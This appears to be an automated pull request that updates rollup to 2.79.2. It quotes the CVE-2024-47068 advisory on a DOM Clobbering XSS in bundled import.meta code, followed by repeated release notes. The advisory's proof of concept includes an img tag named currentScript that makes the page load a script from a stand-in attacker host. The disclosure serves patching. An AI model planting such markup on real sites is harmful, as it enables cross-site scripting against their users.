We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
PoC
Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
rollup/rollup (rollup)
### [`v2.79.2`](https://redirect.github.com/rollup/rollup/compare/v2.79.1...v2.79.2)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.79.1...v2.79.2)
### [`v2.79.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2791)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.79.0...v2.79.1)
*2022-09-22*
##### Bug Fixes
- Avoid massive performance degradation when creating thousands of chunks ([#4643](https://redirect.github.com/rollup/rollup/issues/4643))
##### Pull Requests
- [#4639](https://redirect.github.com/rollup/rollup/pull/4639): fix: typo docs and contributors link in CONTRIBUTING.md ([@takurinton](https://redirect.github.com/takurinton))
- [#4641](https://redirect.github.com/rollup/rollup/pull/4641): Update type definition of resolveId ([@ivanjonas](https://redirect.github.com/ivanjonas))
- [#4643](https://redirect.github.com/rollup/rollup/pull/4643): Improve performance of chunk naming collision check ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.79.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2790)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.78.1...v2.79.0)
*2022-08-31*
##### Features
- Add `amd.forceJsExtensionForImports` to enforce using `.js` extensions for relative AMD imports ([#4607](https://redirect.github.com/rollup/rollup/issues/4607))
##### Pull Requests
- [#4607](https://redirect.github.com/rollup/rollup/pull/4607): add option to keep extensions for amd ([@wh1tevs](https://redirect.github.com/wh1tevs))
### [`v2.78.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2781)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.78.0...v2.78.1)
*2022-08-19*
##### Bug Fixes
- Avoid inferring "arguments" as name for a default export placeholder variable ([#4613](https://redirect.github.com/rollup/rollup/issues/4613))
##### Pull Requests
- [#4613](https://redirect.github.com/rollup/rollup/pull/4613): Prevent using arguments for generated variable names ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.78.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2780)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.3...v2.78.0)
*2022-08-14*
##### Features
- Support writing plugin hooks as objects with a "handler" property ([#4600](https://redirect.github.com/rollup/rollup/issues/4600))
- Allow changing execution order per plugin hook ([#4600](https://redirect.github.com/rollup/rollup/issues/4600))
- Add flag to execute plugins in async parallel hooks sequentially ([#4600](https://redirect.github.com/rollup/rollup/issues/4600))
##### Pull Requests
- [#4600](https://redirect.github.com/rollup/rollup/pull/4600): Allow using objects as hooks to change execution order ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.77.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2773)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.2...v2.77.3)
*2022-08-11*
##### Bug Fixes
- Correctly resolve preserveModulesRoot in Vite ([#4591](https://redirect.github.com/rollup/rollup/issues/4591))
##### Pull Requests
- [#4591](https://redirect.github.com/rollup/rollup/pull/4591): resolve currentPath ([@cleverpp](https://redirect.github.com/cleverpp))
### [`v2.77.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2772)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.1...v2.77.2)
*2022-07-27*
##### Bug Fixes
- Avoid a rendering failure when mixing outputs with inlined and non-inlined dynamic imports ([#4589](https://redirect.github.com/rollup/rollup/issues/4589))
##### Pull Requests
- [#4589](https://redirect.github.com/rollup/rollup/pull/4589): Handle generating non-inlined imports after inlined ones ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.77.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2771)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.0...v2.77.1)
*2022-07-26*
##### Bug Fixes
- Ensure IIFE output generates a global variable when generating ES5 ([#4588](https://redirect.github.com/rollup/rollup/issues/4588))
##### Pull Requests
- [#4577](https://redirect.github.com/rollup/rollup/pull/4577): broken link removed ([@Jawad-H](https://redirect.github.com/Jawad-H))
- [#4580](https://redirect.github.com/rollup/rollup/pull/4580): Update dependencies ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4584](https://redirect.github.com/rollup/rollup/pull/4584): Documentation clarity and syntax improvements ([@berniegp](https://redirect.github.com/berniegp))
- [#4588](https://redirect.github.com/rollup/rollup/pull/4588): Use var for IIFE ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.77.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2770)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.76.0...v2.77.0)
*2022-07-15*
##### Features
- Introduce `maxParallelFileOps` to limit both read and write operations, default to 20 and replaces `maxParallelFileRead` ([#4570](https://redirect.github.com/rollup/rollup/issues/4570))
##### Bug Fixes
- Avoid including variables referenced from return statements that are never reached ([#4573](https://redirect.github.com/rollup/rollup/issues/4573))
##### Pull Requests
- [#4570](https://redirect.github.com/rollup/rollup/pull/4570): Introduce maxParallelFileOps to limit parallel writes ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4572](https://redirect.github.com/rollup/rollup/pull/4572): Document more ways to read package.json in ESM ([@berniegp](https://redirect.github.com/berniegp))
- [#4573](https://redirect.github.com/rollup/rollup/pull/4573): Do not include unused return expressions ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.76.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2760)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.7...v2.76.0)
*2022-07-08*
##### Features
- Allow setting a `sourcmapBaseUrl` for absolute paths in sourcemaps ([#4527](https://redirect.github.com/rollup/rollup/issues/4527))
##### Bug Fixes
- Support absolute CLI plugin paths on Windows ([#4533](https://redirect.github.com/rollup/rollup/issues/4533))
##### Pull Requests
- [#4527](https://redirect.github.com/rollup/rollup/pull/4527): Add sourcemapBaseUrl option ([@nickgarlis](https://redirect.github.com/nickgarlis))
- [#4533](https://redirect.github.com/rollup/rollup/pull/4533): Add support for absolute plugin paths ([@ygoe](https://redirect.github.com/ygoe))
- [#4538](https://redirect.github.com/rollup/rollup/pull/4538): chore: Included githubactions in the dependabot config ([@naveensrinivasan](https://redirect.github.com/naveensrinivasan))
- [#4546](https://redirect.github.com/rollup/rollup/pull/4546): Adapt Node versions on CI to prepare for v3 ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4556](https://redirect.github.com/rollup/rollup/pull/4556): Improve error message for invalid patterns ([@DysphoricUnicorn](https://redirect.github.com/DysphoricUnicorn))
- [#4559](https://redirect.github.com/rollup/rollup/pull/4559): Update dependencies ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4560](https://redirect.github.com/rollup/rollup/pull/4560): Bump peter-evans/create-or-update-comment from 1 to 2 ([@dependabot](https://redirect.github.com/dependabot))
- [#4561](https://redirect.github.com/rollup/rollup/pull/4561): Bump peter-evans/find-comment from 1 to 2 ([@dependabot](https://redirect.github.com/dependabot))
- [#4562](https://redirect.github.com/rollup/rollup/pull/4562): Bump codecov/codecov-action from 1 to 3 ([@dependabot](https://redirect.github.com/dependabot))
### [`v2.75.7`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2757)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.6...v2.75.7)
*2022-06-20*
##### Bug Fixes
- Mark Array.prototype.group/groupToMap as side effect free. ([#4531](https://redirect.github.com/rollup/rollup/issues/4531))
##### Pull Requests
- [#4523](https://redirect.github.com/rollup/rollup/pull/4523): chore: remove source map workaround, bump deps ([@dnalborczyk](https://redirect.github.com/dnalborczyk))
- [#4525](https://redirect.github.com/rollup/rollup/pull/4525): Add regression tests for instanceof ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4528](https://redirect.github.com/rollup/rollup/pull/4528): chore: Set permissions for GitHub actions ([@naveensrinivasan](https://redirect.github.com/naveensrinivasan))
- [#4531](https://redirect.github.com/rollup/rollup/pull/4531): fix: rename Array.prototype.group/groupToMap ([@dnalborczyk](https://redirect.github.com/dnalborczyk))
- [#4535](https://redirect.github.com/rollup/rollup/pull/4535): chore: bump resolve from 1.22.0 to 1.22.1 ([@pos777](https://redirect.github.com/pos777))
### [`v2.75.6`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2756)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.5...v2.75.6)
*2022-06-07*
##### Bug Fixes
- Properly deoptimize "this" when using member expressions with getters/setters in for loops and update expressions ([#4522](https://redirect.github.com/rollup/rollup/issues/4522))
##### Pull Requests
- [#4522](https://redirect.github.com/rollup/rollup/pull/4522): Refactor side effect handling for property interactions ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.75.5`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2755)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.4...v2.75.5)
*2022-06-01*
##### Bug Fixes
- Avoid crashes when using logical expressions for unused constructor arguments ([#4519](https://redirect.github.com/rollup/rollup/issues/4519))
- Fix missing parameter defaults for calls from try statements and functions returned by functions ([#4520](https://redirect.github.com/rollup/rollup/issues/4520))
##### Pull Requests
- [#4519](https://redirect.github.com/rollup/rollup/pull/4519): Try to make logical expression deoptimization more robust ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4520](https://redirect.github.com/rollup/rollup/pull/4520): Roll back parameter default tree shaking ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.75.4`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2754)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.3...v2.75.4)
*2022-05-31*
##### Bug Fixes
- Ensure parameter defaults are retained when a function is used as an object property ([#4516](https://redirect.github.com/rollup/rollup/issues/4516))
##### Pull Requests
- [#4516](https://redirect.github.com/rollup/rollup/pull/4516): Deoptimize parameter defaults when referenced from object/array/class literals ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.75.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2753)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/a971f09f6c34c65e71470249783d0dcce02a9468...v2.75.3)
*2022-05-29*
##### Bug Fixes
- Retain parameter defaults for functions that are defaults themselves ([#4515](https://redirect.github.com/rollup/rollup/issues/4515))
- Track mutations for objects as default values ([#4515](https://redirect.github.com/rollup/rollup/issues/4515))
##### Pull Requests
- [#4515](https://redirect.github.com/rollup/rollup/pull/4515): Ensure parameter defaults are deoptimized ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.75.2`](https://redirect.github.com/rollup/rollup/compare/v2.75.1...a971f09f6c34c65e71470249783d0dcce02a9468)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.1...a971f09f6c34c65e71470249783d0dcce02a9468)
### [`v2.75.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2751)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.0...v2.75.1)
*2022-05-28*
##### Pull Requests
- [#4513](https://redirect.github.com/rollup/rollup/pull/4513): Update link to node polyfill repo ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.75.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2750)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.74.1...v2.75.0)
*2022-05-27*
##### Features
- Re-implement default parameter tree-shaking for top-level functions ([#4510](https://redirect.github.com/rollup/rollup/issues/4510))
- Do not consider calling string methods like `.trim()` on template literals a side effect ([#4511](https://redirect.github.com/rollup/rollup/issues/4511))
##### Pull Requests
- [#4510](https://redirect.github.com/rollup/rollup/pull/4510): Tree-shake parameter defaults (replaces [#4498](https://redirect.github.com/rollup/rollup/issues/4498)) ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4511](https://redirect.github.com/rollup/rollup/pull/4511): Tree-shake side-effect-free string methods on template literals ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.74.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2741)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.74.0...v2.74.1)
*2022-05-19*
##### Bug Fixes
- Revert [#4498](https://redirect.github.com/rollup/rollup/issues/4498) until some issues are understood and resolved
### [`v2.74.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2740)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.73.0...v2.74.0)
*2022-05-19*
##### Features
- Remove unneeded default values for function parameters ([#4498](https://redirect.github.com/rollup/rollup/issues/4498))
##### Bug Fixes
- Use a consistent mechanism to resolve the config file to avoid issues on Windows ([#4501](https://redirect.github.com/rollup/rollup/issues/4501))
- Avoid an inaccurate warning about an event emitter leak for complicated builds ([#4502](https://redirect.github.com/rollup/rollup/issues/4502))
- Ensure that reexporting values from other chunks via dynamic imports does not reference non-imported variables ([#4499](https://redirect.github.com/rollup/rollup/issues/4499))
##### Pull Requests
- [#4498](https://redirect.github.com/rollup/rollup/pull/4498): Tree shake parameter defaults ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4499](https://redirect.github.com/rollup/rollup/pull/4499): Ensure reexports are available for namespaces ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4501](https://redirect.github.com/rollup/rollup/pull/4501): fix: config path problem on windows ([@pos777](https://redirect.github.com/pos777))
- [#4502](https://redirect.github.com/rollup/rollup/pull/4502): Avoid maximum listeners exceeded warning ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.73.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2730)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.72.1...v2.73.0)
*2022-05-13*
##### Features
- Do not treat Object.defineProperty/ies as side effect when called on an unused object ([#4493](https://redirect.github.com/rollup/rollup/issues/4493))
- Do not assume that assigning a property can create a getter with side effects ([#4493](https://redirect.github.com/rollup/rollup/issues/4493))
- Do not treat string.prototype.replace(All) as side effect when used with two literals ([#4493](https://redirect.github.com/rollup/rollup/issues/4493))
##### Bug Fixes
- Detect side effects when manually declaring getters on functions ([#4493](https://redirect.github.com/rollup/rollup/issues/4493))
##### Pull Requests
- [#4493](https://redirect.github.com/rollup/rollup/pull/4493): Handle getters on functions and improve property deoptimization ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4494](https://redirect.github.com/rollup/rollup/pull/4494): Do not treat string.replace as side effect when used with a literal ([@lukastaegert](https://redirect.github.com/lukastaegert))
- [#4495](https://redirect.github.com/rollup/rollup/pull/4495): Update docs for --configPlugin using typescript ([@Jimmydalecleveland](https://redirect.github.com/Jimmydalecleveland))
### [`v2.72.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2721)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.72.0...v2.72.1)
*2022-05-07*
##### Bug Fixes
- Improve tree-shaking of classes with super classes in certain scenarios ([#4489](https://redirect.github.com/rollup/rollup/issues/4489))
##### Pull Requests
- [#4489](https://redirect.github.com/rollup/rollup/pull/4489): Do not deoptimize entire super class when adding a property ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.72.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2720)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.71.1...v2.72.0)
*2022-05-05*
##### Features
- Add CLI hooks to run external commands at certain points in watch mode ([#4457](https://redirect.github.com/rollup/rollup/issues/4457))
##### Bug Fixes
- Fix an issue that could accidentally treat relevant assignments as side effect free ([#4486](https://redirect.github.com/rollup/rollup/issues/4486))
##### Pull Requests
- [#4457](https://redirect.github.com/rollup/rollup/pull/4457): feat: CLI event hook flags ([@Harris-Miller](https://redirect.github.com/Harris-Miller))
- [#4486](https://redirect.github.com/rollup/rollup/pull/4486): Fix reassignment tracking ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.71.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2711)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.71.0...v2.71.1)
*2022-04-30*
##### Bug Fixes
- Allow importing loadConfigFile without extension ([#4483](https://redirect.github.com/rollup/rollup/issues/4483))
##### Pull Requests
- [#4483](https://redirect.github.com/rollup/rollup/pull/4483): Add exports exception for loadConfigFile ([@lukastaegert](https://redirect.github.com/lukastaegert))
### [`v2.71.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2710)
[Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.70.2...v2.71.0)
*2022-04-30*
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
[ ] If you want to rebase/retry this PR, check this box
This PR contains the following updates:
2.70.2
->2.79.2
GitHub Vulnerability Alerts
CVE-2024-47068
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.url
or with plugins that emit and reference asset files from code incjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animg
tag with an unsanitizedname
attribute) are present.It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadget found in
rollup
We have identified a DOM Clobbering vulnerability in
rollup
bundled scripts, particularly when the scripts usesimport.meta
and set output in format ofcjs
/umd
/iife
. In such cases,rollup
replaces meta property with the URL retrieved fromdocument.currentScript
.https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrc
attribute of the attacker-controlled element (e.g., animg
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.js
script, the devloper decides to use therollup
to bundle up the program:rollup main.js --format cjs --file bundle.js
.The output
bundle.js
is shown in the following code snippet.Adding the
rollup
bundled script,bundle.js
, as part of the web page source code, the page could load theextra.js
file from the attacker's domain,attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert animg
tag with the name attribute set tocurrentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs
,iife
, orumd
and useimport.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing thename
orid
attributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
Release Notes
rollup/rollup (rollup)
### [`v2.79.2`](https://redirect.github.com/rollup/rollup/compare/v2.79.1...v2.79.2) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.79.1...v2.79.2) ### [`v2.79.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2791) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.79.0...v2.79.1) *2022-09-22* ##### Bug Fixes - Avoid massive performance degradation when creating thousands of chunks ([#4643](https://redirect.github.com/rollup/rollup/issues/4643)) ##### Pull Requests - [#4639](https://redirect.github.com/rollup/rollup/pull/4639): fix: typo docs and contributors link in CONTRIBUTING.md ([@takurinton](https://redirect.github.com/takurinton)) - [#4641](https://redirect.github.com/rollup/rollup/pull/4641): Update type definition of resolveId ([@ivanjonas](https://redirect.github.com/ivanjonas)) - [#4643](https://redirect.github.com/rollup/rollup/pull/4643): Improve performance of chunk naming collision check ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.79.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2790) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.78.1...v2.79.0) *2022-08-31* ##### Features - Add `amd.forceJsExtensionForImports` to enforce using `.js` extensions for relative AMD imports ([#4607](https://redirect.github.com/rollup/rollup/issues/4607)) ##### Pull Requests - [#4607](https://redirect.github.com/rollup/rollup/pull/4607): add option to keep extensions for amd ([@wh1tevs](https://redirect.github.com/wh1tevs)) ### [`v2.78.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2781) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.78.0...v2.78.1) *2022-08-19* ##### Bug Fixes - Avoid inferring "arguments" as name for a default export placeholder variable ([#4613](https://redirect.github.com/rollup/rollup/issues/4613)) ##### Pull Requests - [#4613](https://redirect.github.com/rollup/rollup/pull/4613): Prevent using arguments for generated variable names ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.78.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2780) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.3...v2.78.0) *2022-08-14* ##### Features - Support writing plugin hooks as objects with a "handler" property ([#4600](https://redirect.github.com/rollup/rollup/issues/4600)) - Allow changing execution order per plugin hook ([#4600](https://redirect.github.com/rollup/rollup/issues/4600)) - Add flag to execute plugins in async parallel hooks sequentially ([#4600](https://redirect.github.com/rollup/rollup/issues/4600)) ##### Pull Requests - [#4600](https://redirect.github.com/rollup/rollup/pull/4600): Allow using objects as hooks to change execution order ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.77.3`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2773) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.2...v2.77.3) *2022-08-11* ##### Bug Fixes - Correctly resolve preserveModulesRoot in Vite ([#4591](https://redirect.github.com/rollup/rollup/issues/4591)) ##### Pull Requests - [#4591](https://redirect.github.com/rollup/rollup/pull/4591): resolve currentPath ([@cleverpp](https://redirect.github.com/cleverpp)) ### [`v2.77.2`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2772) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.1...v2.77.2) *2022-07-27* ##### Bug Fixes - Avoid a rendering failure when mixing outputs with inlined and non-inlined dynamic imports ([#4589](https://redirect.github.com/rollup/rollup/issues/4589)) ##### Pull Requests - [#4589](https://redirect.github.com/rollup/rollup/pull/4589): Handle generating non-inlined imports after inlined ones ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.77.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2771) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.77.0...v2.77.1) *2022-07-26* ##### Bug Fixes - Ensure IIFE output generates a global variable when generating ES5 ([#4588](https://redirect.github.com/rollup/rollup/issues/4588)) ##### Pull Requests - [#4577](https://redirect.github.com/rollup/rollup/pull/4577): broken link removed ([@Jawad-H](https://redirect.github.com/Jawad-H)) - [#4580](https://redirect.github.com/rollup/rollup/pull/4580): Update dependencies ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4584](https://redirect.github.com/rollup/rollup/pull/4584): Documentation clarity and syntax improvements ([@berniegp](https://redirect.github.com/berniegp)) - [#4588](https://redirect.github.com/rollup/rollup/pull/4588): Use var for IIFE ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.77.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2770) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.76.0...v2.77.0) *2022-07-15* ##### Features - Introduce `maxParallelFileOps` to limit both read and write operations, default to 20 and replaces `maxParallelFileRead` ([#4570](https://redirect.github.com/rollup/rollup/issues/4570)) ##### Bug Fixes - Avoid including variables referenced from return statements that are never reached ([#4573](https://redirect.github.com/rollup/rollup/issues/4573)) ##### Pull Requests - [#4570](https://redirect.github.com/rollup/rollup/pull/4570): Introduce maxParallelFileOps to limit parallel writes ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4572](https://redirect.github.com/rollup/rollup/pull/4572): Document more ways to read package.json in ESM ([@berniegp](https://redirect.github.com/berniegp)) - [#4573](https://redirect.github.com/rollup/rollup/pull/4573): Do not include unused return expressions ([@lukastaegert](https://redirect.github.com/lukastaegert)) ### [`v2.76.0`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2760) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.7...v2.76.0) *2022-07-08* ##### Features - Allow setting a `sourcmapBaseUrl` for absolute paths in sourcemaps ([#4527](https://redirect.github.com/rollup/rollup/issues/4527)) ##### Bug Fixes - Support absolute CLI plugin paths on Windows ([#4533](https://redirect.github.com/rollup/rollup/issues/4533)) ##### Pull Requests - [#4527](https://redirect.github.com/rollup/rollup/pull/4527): Add sourcemapBaseUrl option ([@nickgarlis](https://redirect.github.com/nickgarlis)) - [#4533](https://redirect.github.com/rollup/rollup/pull/4533): Add support for absolute plugin paths ([@ygoe](https://redirect.github.com/ygoe)) - [#4538](https://redirect.github.com/rollup/rollup/pull/4538): chore: Included githubactions in the dependabot config ([@naveensrinivasan](https://redirect.github.com/naveensrinivasan)) - [#4546](https://redirect.github.com/rollup/rollup/pull/4546): Adapt Node versions on CI to prepare for v3 ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4556](https://redirect.github.com/rollup/rollup/pull/4556): Improve error message for invalid patterns ([@DysphoricUnicorn](https://redirect.github.com/DysphoricUnicorn)) - [#4559](https://redirect.github.com/rollup/rollup/pull/4559): Update dependencies ([@lukastaegert](https://redirect.github.com/lukastaegert)) - [#4560](https://redirect.github.com/rollup/rollup/pull/4560): Bump peter-evans/create-or-update-comment from 1 to 2 ([@dependabot](https://redirect.github.com/dependabot)) - [#4561](https://redirect.github.com/rollup/rollup/pull/4561): Bump peter-evans/find-comment from 1 to 2 ([@dependabot](https://redirect.github.com/dependabot)) - [#4562](https://redirect.github.com/rollup/rollup/pull/4562): Bump codecov/codecov-action from 1 to 3 ([@dependabot](https://redirect.github.com/dependabot)) ### [`v2.75.7`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#2757) [Compare Source](https://redirect.github.com/rollup/rollup/compare/v2.75.6...v2.75.7) *2022-06-20* ##### Bug Fixes - Mark Array.prototype.group/groupToMap as side effect free. 